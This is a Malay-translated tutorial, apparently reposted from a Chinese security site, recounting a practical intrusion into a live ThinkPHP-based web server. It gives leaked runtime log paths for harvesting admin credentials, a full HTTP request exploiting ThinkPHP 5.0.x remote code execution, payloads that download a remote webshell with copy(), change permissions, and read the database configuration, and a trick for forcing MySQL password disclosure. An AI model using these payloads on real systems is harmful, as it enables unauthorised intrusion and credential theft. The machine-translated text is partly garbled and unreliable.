Rumah >rangka kerja php >ThinkPHP >Ingat penembusan praktikal rangka kerja ThinkPHP

Ingat penembusan praktikal rangka kerja ThinkPHP

藏色散人
藏色散人ke hadapan
2022-01-21 16:22:174177semak imbas

Lajur tutorial thinkphp berikut akan berkongsi dengan anda penembusan praktikal rangka kerja ThinkPHP saya harap ia dapat membantu rakan yang memerlukan.

Koleksi maklumat

Cari tapak web http://x.x.x.x/ dan mula menembusinya

Mula-mula gunakan nmap untuk mengimbas port yang dibuka kepada pelayan mangsa untuk mengesan port

Ingat penembusan praktikal rangka kerja ThinkPHP

Anda boleh melihat port terbuka seperti berikut
Ingat penembusan praktikal rangka kerja ThinkPHP

Port ialah ID pengenalan unik aplikasi dalam komunikasi komputer . Melalui port kami Anda boleh mengetahui perkhidmatan yang dibuka pada pelayan mangsa

Contohnya, 3306 ialah mysql dan mempunyai sambungan luaran yang didayakan Seterusnya, kami akan menyemak akses port untuk melihat perkhidmatan yang dibuka

8080 telah membuka phpmyadmin Kita boleh menggunakan alat sambungan php mysql untuk memecahkan kata laluan mysql

Ingat penembusan praktikal rangka kerja ThinkPHP

8082 ialah laman utama pinjaman

Ingat penembusan praktikal rangka kerja ThinkPHP

Masukkan sebarang nombor yang bukan Laluan sedia ada dan kemudian semak maklumat ralat seperti http://x.x.x.x/gfvhf

Ingat penembusan praktikal rangka kerja ThinkPHP

Laporan ralat yang berjaya: The versi rangka kerja thinkphp ialah 5.1.7 (versi ini mempunyai kelemahan suntikan)

Ingat penembusan praktikal rangka kerja ThinkPHP

8084 ialah latar belakang yang terus mengumpul

Ingat penembusan praktikal rangka kerja ThinkPHP

8092 ialah latar belakang, kerana penggunaan tidak diseragamkan, terdapat kebocoran log thinkphp, laluannya ialah http ://x.x.x.x:8092/runtime/log/202112/19.log Anda boleh menyemak akaun dan kata laluan yang telah dilog masuk oleh pentadbir.

Di sini kita bercakap tentang produk hitam menggunakan rangka kerja thinkphp Kerana operasi dan penyelenggaraan adalah separuh hati, kemungkinan besar log thinkphp akan bocor

tp5-6 payload: domain. name/runtime/log/202112/19.log (Log 202112/19.berikut berubah berdasarkan tarikh semasa)

muatan tp3: nama domain/Application/Runtime/Logs/ Home/21_12_19.log (21_12_19.log berikut ialah )

Ingat penembusan praktikal rangka kerja ThinkPHP

Versi thinkphp yang digunakan oleh port 8083 ialah 5.0.15 versi 5.0.15 adalah kunci rendah dan lembut. kemudian majukan paket data ke modul Repeater burp untuk menangkap kandungan paket Gantikan dengan kandungan berikut

Prinsip kelemahan tidak akan diterangkan secara terperinci Tiada sesiapa dalam lapisan seni bina PHP dapat memahaminya. Penerangan ringkas ialah liputan berubah menyebabkan pelaksanaan kodIngat penembusan praktikal rangka kerja ThinkPHP

Thinkphp5 vulnerability poc boleh merujuk kepada https://y4er.com/post/thinkphp5-rce/

Kandungan paket berikut ialah untuk mencetuskan kelemahan dan biarkan pelayan Melaksanakan phpinfo()

Pelaksanaan berjaya, anda boleh melihat beberapa maklumat terperinci php

Mula tulis shell di bawah dan gantikan pengepala permintaan dengan:
POST /index.php?s=captcha&echod=phpinfo() HTTP/1.1
Host: x.x.x.x
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36 Edg/96.0.1054.57
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: pmaCookieVer=5; pma_lang=zh_CN; pma_collation_connection=utf8_unicode_ci; phpMyAdmin=iar4j14536rat57j1d5018qjtt8vj69g
Content-Type:application/x-www-form-urlencoded
Content-Length: 77

_method=__construct&filter=assert&method=get&server[REQUEST_METHOD]=echod

Ini bermakna memuat turun fail shell jauh http://x.x.x.x/2.txt pada pelayan saya dan tulis ke t2.php dalam semasa direktori web

Ingat penembusan praktikal rangka kerja ThinkPHPTetapi saya mengakses t2.php, 404 muncul, meneka bahawa direktori semasa tidak mempunyai kebenaran menulis

, jadi saya cuba memberikan kebenaran menulis:

POST /index.php s=captcha&echod=copy('http://x.x.x.x/2.txt','t2.php') HTTP/1.1

Saya mendapati bahawa shell masih tidak boleh ditulis, dan kebenaran php adalah sangat rendah.

Ganti chmod('./',0777) dengan readfile('../application/database.php') untuk membaca fail konfigurasi pangkalan data. Didapati kata laluan akaun mysql berjaya diperolehi.

POST /index.php?s=captcha&echod=chmod('./',0777) HTTP/1.1

Gunakan perkhidmatan phpmyadmin yang kami temui sebelum ini untuk log masuk dan kemudian buka mysql untuk sambungan luaran

Gunakan alat pengurusan mysql untuk menyambung dan menemui sekumpulan pangkalan data. Dan mysql secara langsung mempunyai keizinan root, dan boleh melakukan peningkatan keistimewaan pada pelayan (penembusan sisi intranet), dsb. Bagaimanapun, rangkaian luaran telah membuka pembukaan, jadi saya tidak akan pergi ke sini secara mendalam.

Ingat penembusan praktikal rangka kerja ThinkPHP

Ringkasan

Untuk meringkaskan beberapa idea yang saya telah fikirkan sendiri: jika thinkphp menghidupkan mod nyahpepijat dan pelayan menghidupkan sambungan luaran pangkalan data, ia boleh menghantar sejumlah besar permintaan dengan meledakkan perkhidmatan mysql (Biarkan mysql blok), apabila thinkphp menyambung ke mysql dan tamat masa, ralat pengecualian sambungan akan dilaporkan, dan kata laluan akaun mysql akan dikeluarkan ke halaman.

Pembelajaran yang disyorkan: "tutorial video thinkphp"

Atas ialah kandungan terperinci Ingat penembusan praktikal rangka kerja ThinkPHP. Untuk maklumat lanjut, sila ikut artikel berkaitan lain di laman web China PHP!

Kenyataan:
Artikel ini dikembalikan pada:freebuf.com. Jika ada pelanggaran, sila hubungi admin@php.cn Padam